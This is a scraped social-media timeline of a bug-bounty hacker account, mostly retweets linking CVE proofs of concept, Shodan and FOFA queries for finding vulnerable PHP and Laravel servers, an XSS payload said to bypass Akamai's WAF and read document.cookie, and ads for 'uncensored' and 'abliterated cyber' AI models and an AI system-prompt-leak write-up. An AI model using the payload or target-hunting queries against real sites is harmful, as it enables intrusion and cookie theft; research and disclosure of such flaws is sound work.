Pinned Tweet
Remote Code Execution of PHPUnit (RCE) POC Video
How I found RCE in five minutes.
youtu.be/YYx4twvDeek #bugbountytip #infosecurity #infosec #BugBounty #bugbountytips #CVE_2017_9841 #rce
2
6
1,800
MrD0tt retweeted
Make your agents move pwn
👾
github.com/BountyForge-xyz/p…
MrD0tt retweeted
$90,000 Google Bug Bounty 🤑
"How I Found a $90,000 Remote Code Execution Vulnerability in Google" by Simon Koeck 🤯🔥
👨💻 Simon Koeck (x/soeckly)
🔗 simonkoeck.com/writeups/goog…
🔗 t.me/luckyhacker42
MrD0tt retweeted
⚠️⚠️ CVE-2026-114509 (CVSS 9.2): Laravel TokenGuard authentication bypass
🔗FOFA Link: en.fofa.info/result?qbase64=…
🎯2.8M+ internet-facing Laravel surfaces are found on en.fofa.info in the past year.
FOFA Query: app="Laravel-Framework"
PoC: github.com/hakaioffsec/GHSA-…
🔖Refer: github.com/advisories/GHSA-f…
#OSINT #FOFA #CyberSecurity #Vulnerability
MrD0tt retweeted
6 models. $0 input. $0 output.
Available FREE on Infron🎉:
• DeepSeek V4.1 Flash
• Qwen3.8 27B Uncensored
• Qwen3.8 27B Abliterated Cyber
• Apodex 1.1 Mini
• Ling 3.1 Flash
• Atria: Dawn Preview
Tool calling, JSON mode & streaming.
Explore: infron.ai/models?free=true
#infrondiscounts
MrD0tt retweeted
GLM 5.3 Uncensored is FREE 😳
- 1.05M context window
- 60 tokens/sec
try it here platform.experientiallabs.ai…
MrD0tt retweeted
PHP2Shell(CVE-2026-109618/109619) Full-Chain RCE Exploit by @78_lab
github.com/78ResearchLab/PHP…
#Exploit #PHP2Shell, #CVE_2026_109618, #CVE_2026_109619
MrD0tt retweeted
You can use this scanner to check for PHP-to-shell vulnerabilities.
- github.com/assetnote/php2she…
Use it only on systems you own or have permission to test.
1.8 million PHP servers are still publicly visible.
Hundreds of thousands still advertising PHP 7.4 and early 8.x.
- http.component:"php"
- "X-Powered-By: PHP"
- http.component:"php" country:"xx"
- "X-Powered-By: PHP/7.4.33"
- "X-Powered-By: PHP/7.4"
- "X-Powered-By: PHP/8."
- http.component:"php" http.component_version:"7.4"
- "X-Powered-By: PHP/8.1" country:"xx"
- shodan.io/search?query=http.…
MrD0tt retweeted
🚨 PHP RCE "php2shell" — CVE-2026-109618 & CVE-2026-109619 (CVSS 9.8, unauth RCE). Affects PHP 8.2<8.2.35 / 8.3<8.3.36 / 8.4<8.4.27 / 8.5<8.5.12.
5 recon oneliners to hunt it at scale 👇
github.com/KingOfBugbounty/K…
#bugbounty #recon #ofjaaah #bugbountytips
MrD0tt retweeted
This is a 4th variation and similar to my pre-existing PoC github.com/dinosn/php-8.5.5-…
MrD0tt retweeted
php2shell - CVE-2026-109618 / CVE-2026-109619 github.com/ikow/php2shell-po…
MrD0tt retweeted
Just published our high fidelity scanner for php2shell: github.com/assetnote/php2she…
See our detection logic here: slcyber.io/research/high-fid…
We've taken care in our detection logic and hope it helps defenders. Congrats to @calif_io and @lcfr_hax for the discovery.
MrD0tt retweeted
Here's my WORKING php2shell exploit:
<?php
$exploit = true;
if ($exploit) {
echo "#whoami<br>";
echo "Ur fkin root bro.";
}
?>
(Credit: Claude)
MrD0tt retweeted
Cross Site Scripting (XSS) Akamai WAF Bypass. 🔥
Try this payload: <!--><svg+onload=%27top[%2fal%2f%2esource%2b%2fert%2f%2esource](document.cookie)%27>
Remember to add payload to your list: 📝
#bugbountytips #bugbountytip #bugbounty
MrD0tt retweeted
Web3 projects have lost over $1.3 billion to hacks in just the first half of 2026. Attackers are already scanning your deployed code.
Don't wait until your TVL is drained. Secure your assets with an elite, line-by-line smart contract audit today contact securyhub.com.
MrD0tt retweeted
$1,500 AI System Prompt Leak: Using this Burp Suite Configuration 🤯🔥
🔗 medium.com/@tinopreter/1-500…
MrD0tt retweeted
Follow @inkonchain
Follow @TydroHQ
Follow @nadoHQ
Follow @Payward
Follow @krakenfx
Follow @krakenpro
Follow @xStocksFi
Who are we missing?
MrD0tt retweeted
Here is 100 𝐖𝐞𝐛 𝐕𝐮𝐥𝐧𝐞𝐫𝐚𝐛𝐢𝐥𝐢𝐭𝐢𝐞𝐬!
Which one made you the most money? 👀
Join my BugBounty telegram channel: t.me/ShellSec
#BugBounty #CyberSecurity #InfoSec #Hacking
🤖 Made with AI
MrD0tt retweeted
Prototype Pollution on jQuery Leads to XSS. Payload in Image
XSS Exploit on CVE-2021-20086
security.snyk.io/vuln/SNYK-J…
#xss #nuclei #bugbounty #appsec #secops #applicationsecurity
